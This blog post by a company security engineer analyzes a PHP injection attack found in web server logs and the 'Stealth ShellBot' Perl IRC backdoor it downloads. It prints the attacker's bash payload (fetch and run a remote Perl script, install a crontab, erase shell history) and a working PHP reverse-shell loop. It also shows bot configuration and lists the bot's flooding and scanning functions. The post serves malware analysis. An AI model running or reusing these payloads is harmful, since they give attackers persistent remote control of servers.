As the security freak of the company, I often find gems in access or errorlogs. Sometimes a plain old scanner, sometimes very sophisticated spiders. What most of the payloads have in common is: they are oftentimes obfuscated, ‘optimised’, encoded and what not.

We recently began using modsecurity more aggressively and immediately the logs began filling themselves up. My colleague then pointed me to a very interesting attack, in which a practically non-obfuscated piece of PHP-code was being injected and asked me what happened here.
Fun, because it gave me an easy insight on the code, without having to deal with obfuscation and get to see the internal workings!

After analyzing the code I noticed several interesting things happening:

  • The PHP-code tries to fork and daemonise itself, in order to keep on running after the original call is finished, which is quite logical.
  • Then it tries to set a string for bash in which it tries do download a payload (expanded into multiline and commented):

    $shell = "
    #Some bash history resetting:
    unset HISTFILE; unset HISTSIZE; uname -a;
    cd /tmp; //nav to writable tmp
    #wget the .bash_hist from another server
    #which I think was hacked by an old Plesk installation:
    wget 255.255.255.255/img/glyph/.o/.bash_hist -O /tmp/.bash_hist; 
    perl /tmp/.bash_hist; #execute this file
    rm -rf /tmp/.bash_hist; #housekeeping
    cd /tmp;
    wget 255.255.255.255/img/glyph/.o/cron -O /tmp/cron; #wget crontab file
    crontab /tmp/cron; #insert it into the crontab
    #probably a fallback for curl, but the dyndns was down already
    curl -O -s somedyndns.org/img/glyph/.o/cron; 
    crontab /tmp/cron;
    rm -rf /tmp/cron /tmp/cron*";#remove cron leftovers.
  • It then tries to execute some bash with proc_open. Because the proc_open is set to a variable($process) and has pipes to it, it then tries to use those to create a reverse shell to an ip&port (defined plaintext) by using a socket to the ip address defined up top and a while-loop. In the loop the pipes and the socket are being read & sent to the remote server and the response is written to the pipe, thus straight into bash and executed: a reverse shell.
    $sock = fsockopen($ip, $port, $errno, $errstr, 30);
    if (!$sock) {
    	printit("$errstr ($errno)");
    	exit(1);
    }
    $descriptorspec = array(
       0 => array("pipe", "r"),
       1 => array("pipe", "w"),
       2 => array("pipe", "w")
    );
    $process = proc_open($shell, $descriptorspec, $pipes);
    if (!is_resource($process)) {
    	printit("ERROR: Can't spawn shell");
    	exit(1);
    }
    stream_set_blocking($pipes[0], 0);
    stream_set_blocking($pipes[1], 0);
    stream_set_blocking($pipes[2], 0);
    stream_set_blocking($sock, 0);
    while (1) {
    	if (feof($sock)) {
    		printit("ERROR: Shell connection terminated");
    		break;
    	}
    	if (feof($pipes[1])) {
    		printit("ERROR: Shell process terminated");
    		break;
    	}
    	$read_a = array($sock, $pipes[1], $pipes[2]);
    	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    	if (in_array($sock, $read_a)) {
    		if ($debug) printit("SOCK READ");
    		$input = fread($sock, $chunk_size);
    		if ($debug) printit("SOCK: $input");
    		fwrite($pipes[0], $input);
    	}
    	if (in_array($pipes[1], $read_a)) {
    		if ($debug) printit("STDOUT READ");
    		$input = fread($pipes[1], $chunk_size);
    		if ($debug) printit("STDOUT: $input");
    		fwrite($sock, $input);
    	}
    	if (in_array($pipes[2], $read_a)) {
    		if ($debug) printit("STDERR READ");
    		$input = fread($pipes[2], $chunk_size);
    		if ($debug) printit("STDERR: $input");
    		fwrite($sock, $input);
    	}
    }
     
    fclose($sock);
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($process);
    function printit ($string) {
    	if (!$daemon) {
    		print "$string
    ";
    	}
    }
    exit(1);

So here we are in theory with:

  • A reverse PHP-shell, with the same privilege as the webserver-user, in a forked process,
  • A downloaded Perl-script which was executed: .bash_hist
  • A downloaded new cronjob and now a tampered local cronjob: cron
    The perl script was being checked and if needed restarted and redownloaded (smart)

I of course did not execute all those stuff, but upon wgetting the link (didn’t trust any payloads to my browser) a nice clean Perl IRC Bot named “Stealth ShellBot” with portuguese comments showed up.

A nice configuration section (comments are mine):

###config#####
#target IRC Server
$servidor='127.0.0.1' unless $servidor; #edited to not go outbound.
 
#target IRC port
my $porta='443';
 
#channel to join.
my @canais=("#mychannel"); #can be a list/array!
 
#admins of this bot
my @adms=("david");  #can be a list
 
#max lines to return at once
my $linas_max=10;
 
#when max lines treshold is met: sleep x seconds.
my $sleep=5;
 
#creates nick with random appended integer
my $nick = getnick(); #something like: return "EvilBot".int(rand(8999)+1000);
 
#several info set into alternative names (viewable by WHOIS)
my $ircname = "asd4f";
my $realname = `uname -vr`;
my $uname = `uname -a`;
 
#give access to shell(boolean):
my $acessoshell = 1;

And a lot of functions too which were remotely usable by the irc user by a simple private message:

  • Portscanner TCP and UDP
  • Flooders
  • Slow-POST-ers
  • Reverse Shell
  • System Info grab
  • DCC functionality for sending and receiving files
  • Execute commands in the shell

That is one advanced backdoor, for such a simple script!

Upon looking into this bot further, I stumbled upon an article at isc.sans.edu and a blog (James Espinosa) in which an earlier version is dissected:

my $VERSAO = '0.2a';

While “my” version is newer:

my $VERSAO = '0.3b';

I also went to the IRC server with my IRC-cliƫnt, but was banned after 5 seconds, presumably because command and control is also automated and run checks to ban non-bots. I could try to make a declawed bot with stubs as return data, but that would be an exercise for a rainy sunday.

I learned a lot by reviewing this bot and I realise that a lot of attackers were targets once and are now being used to exploit others.

For those interested I’ve hosted the IRC Perl-script as a text file and added instruction on how to safely check this bot out.
Remember, though, that if you run this file it will look for the irc server configured on top (I’ve set it to 127.0.0.1), with your entire system being compromised if someone got to this IRC server: Private messages by the admins of the bot can be used to issue the bot commands, with all kinds of nastiness happening.

As always: use copy-pasted code from the internet with precaution.
IRCTrojan.tar.gz